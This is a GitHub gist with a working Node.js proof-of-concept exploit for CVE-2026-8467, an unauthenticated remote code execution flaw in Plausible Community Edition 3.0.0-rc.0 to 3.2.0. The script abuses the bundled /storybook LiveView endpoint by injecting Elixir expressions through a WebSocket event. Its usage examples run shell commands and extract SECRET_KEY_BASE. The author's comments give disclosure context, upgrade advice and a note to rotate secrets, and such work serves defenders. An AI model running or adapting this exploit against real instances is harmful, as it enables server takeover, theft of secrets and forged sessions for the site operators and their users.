Created
June 1, 2026 16:29
-
-
Save Calyhre/67337024ece3762cbc3c9e4956b0e3d4 to your computer and use it in GitHub Desktop.
POC RCE Plausible >= 3.0.0-rc.0 and < 3.2.1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env node | |
| // | |
| // CVE-2026-8467 — Unauthenticated Remote Code Execution in Plausible Community Edition | |
| // ==================================================================================== | |
| // | |
| // Proof of concept. The `/storybook` endpoint shipped by Plausible Community Edition lets an | |
| // unauthenticated attacker execute arbitrary code on the server, as the user running the app. | |
| // | |
| // References: | |
| // - CVE-2026-8467 | |
| // - GHSA-55hg-8qxv-qj4p (phoenix_storybook) | |
| // - https://github.com/plausible/analytics/discussions/6355 | |
| // | |
| // Affected: | |
| // Plausible Community Edition v3.0.0-rc.0 through v3.2.0 (bundles phoenix_storybook < 1.1.0). | |
| // Fixed in v3.2.1, which removes the endpoint. | |
| // | |
| // Impact: | |
| // Arbitrary code and shell command execution as the application service account — including | |
| // full access to the database and to application secrets such as SECRET_KEY_BASE, which can | |
| // then be used to forge sessions. No authentication required. | |
| // | |
| // Requirements: | |
| // Node.js >= 22 (built-in fetch and WebSocket). No third-party dependencies. | |
| // | |
| // Configuration (environment variables): | |
| // TARGET Base URL of the target instance (default: http://plausible.plausible-ce.orb.local) | |
| // EXPR Elixir expression to evaluate on the server (default: a harmless arithmetic check) | |
| // | |
| // Authorized testing only — run exclusively against systems you own or are permitted to test. | |
| // | |
| // Usage: | |
| // # Prove code execution (the server computes 1336 + 1) | |
| // node poc.mjs | |
| // | |
| // # Identify the user running the process | |
| // EXPR='elem(System.cmd("id", []), 0)' node poc.mjs | |
| // | |
| // # Exfiltrate a critical secret | |
| // EXPR='System.get_env("SECRET_KEY_BASE")' node poc.mjs | |
| const TARGET = process.env.TARGET || "http://plausible.plausible-ce.orb.local"; | |
| const EXPR = process.env.EXPR || '"POC-#{1336 + 1}"'; | |
| const PREVIEW_ID = "plausible_web_storybook_button-playground-preview"; | |
| function attribute(html, marker, name) { | |
| const tag = html.match(new RegExp(`<[^>]*${marker}[^>]*>`))?.[0] ?? ""; | |
| return tag.match(new RegExp(`\\s${name}="([^"]*)"`))?.[1] ?? null; | |
| } | |
| function toStrings(node, out = []) { | |
| if (typeof node === "string") out.push(node); | |
| else if (Array.isArray(node)) node.forEach((child) => toStrings(child, out)); | |
| else if (node && typeof node === "object") | |
| Object.values(node).forEach((child) => toStrings(child, out)); | |
| return out; | |
| } | |
| async function getInitialState(url) { | |
| const response = await fetch(url); | |
| const cookie = response.headers.getSetCookie(); | |
| const html = await response.text(); | |
| const csrf = attribute(html, 'name="csrf-token"', "content"); | |
| const main = { | |
| id: attribute(html, "data-phx-main", "id"), | |
| session: attribute(html, "data-phx-main", "data-phx-session"), | |
| static: attribute(html, "data-phx-main", "data-phx-static"), | |
| }; | |
| if (!csrf || !main.id || !main.session || !main.static) { | |
| throw new Error("could not parse CSRF token / main LiveView from the page"); | |
| } | |
| return { cookie, csrf, main }; | |
| } | |
| // --- Phoenix LiveView channel (wire protocol v2.0.0) ----------------------- | |
| class LiveSocket { | |
| #ws; | |
| #ref = 0; | |
| #pending = new Map(); | |
| constructor({ csrf, cookie }) { | |
| this.csrf = csrf; | |
| this.url = `${TARGET.replace(/^http/, "ws")}/live/websocket?_csrf_token=${encodeURIComponent(csrf)}&vsn=2.0.0`; | |
| this.headers = { Origin: TARGET, Cookie: cookie }; | |
| } | |
| open() { | |
| this.#ws = new WebSocket(this.url, { headers: this.headers }); | |
| this.#ws.addEventListener("message", (event) => { | |
| const [, ref, , , payload] = JSON.parse(event.data); | |
| this.#pending.get(ref)?.(payload); | |
| this.#pending.delete(ref); | |
| }); | |
| return new Promise((resolve, reject) => { | |
| this.#ws.addEventListener("open", resolve, { once: true }); | |
| this.#ws.addEventListener("close", () => reject(new Error("socket closed before open")), { | |
| once: true, | |
| }); | |
| }); | |
| } | |
| #send(joinRef, ref, topic, event, payload) { | |
| this.#ws.send(JSON.stringify([joinRef, ref, topic, event, payload])); | |
| return new Promise((resolve) => this.#pending.set(ref, resolve)); | |
| } | |
| async joinView(topic, { session, static: staticToken = null, url }) { | |
| const ref = String(++this.#ref); | |
| const reply = await this.#send(ref, ref, topic, "phx_join", { | |
| url, | |
| session, | |
| static: staticToken, | |
| params: { _csrf_token: this.csrf, _mounts: 0, _mount_attempts: 0 }, | |
| flash: null, | |
| sticky: false, | |
| }); | |
| if (reply.status !== "ok") | |
| throw new Error(`join ${topic} failed: ${JSON.stringify(reply.response)}`); | |
| return { ref, reply }; | |
| } | |
| pushEvent(topic, joinRef, event, value) { | |
| const ref = String(++this.#ref); | |
| return this.#send(joinRef, ref, topic, "event", { type: "hook", event, value }); | |
| } | |
| close() { | |
| this.#ws.close(); | |
| } | |
| } | |
| async function joinPreview(socket, main, url) { | |
| const parent = await socket.joinView(`lv:${main.id}`, { url, ...main }); | |
| const blob = toStrings(parent.reply).find((s) => s.includes(PREVIEW_ID)) ?? ""; | |
| const session = attribute(blob, `id="${PREVIEW_ID}"`, "data-phx-session"); | |
| if (!session) throw new Error("could not locate the preview LiveView session token"); | |
| return socket.joinView(`lv:${PREVIEW_ID}`, { session }); | |
| } | |
| async function runExploit(url) { | |
| const { cookie, csrf, main } = await getInitialState(url); | |
| const socket = new LiveSocket({ csrf, cookie }); | |
| await socket.open(); | |
| console.log("[*] socket open"); | |
| const preview = await joinPreview(socket, main, url); | |
| console.log("[*] joined story + playground preview LiveViews"); | |
| const value = { variation_id: "default", x: `" injected={${EXPR}} z="` }; | |
| const reply = await socket.pushEvent(`lv:${PREVIEW_ID}`, preview.ref, "psb-assign", value); | |
| socket.close(); | |
| return ( | |
| toStrings(reply) | |
| .join(" ") | |
| .match(/injected="([^"]*)"/)?.[1] ?? null | |
| ); | |
| } | |
| const url = `${TARGET}/storybook/button?tab=playground&variation_id=default`; | |
| console.log(`[*] target: ${url}`); | |
| const output = await runExploit(url); | |
| if (output === null) throw new Error("No injected output in response: target may be patched"); | |
| console.log(`[!] server evaluated \`${EXPR}\` ->`); | |
| console.log(` ${output}`); |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
If you are using Plausible from
3.0.0-rc.0up until3.2.0included, you should upgrade ASAP.You should also probably rotate every environment variables, secrets, and anything accessible from that server. Including
SECRET_KEY_BASE, and everything that key encrypts.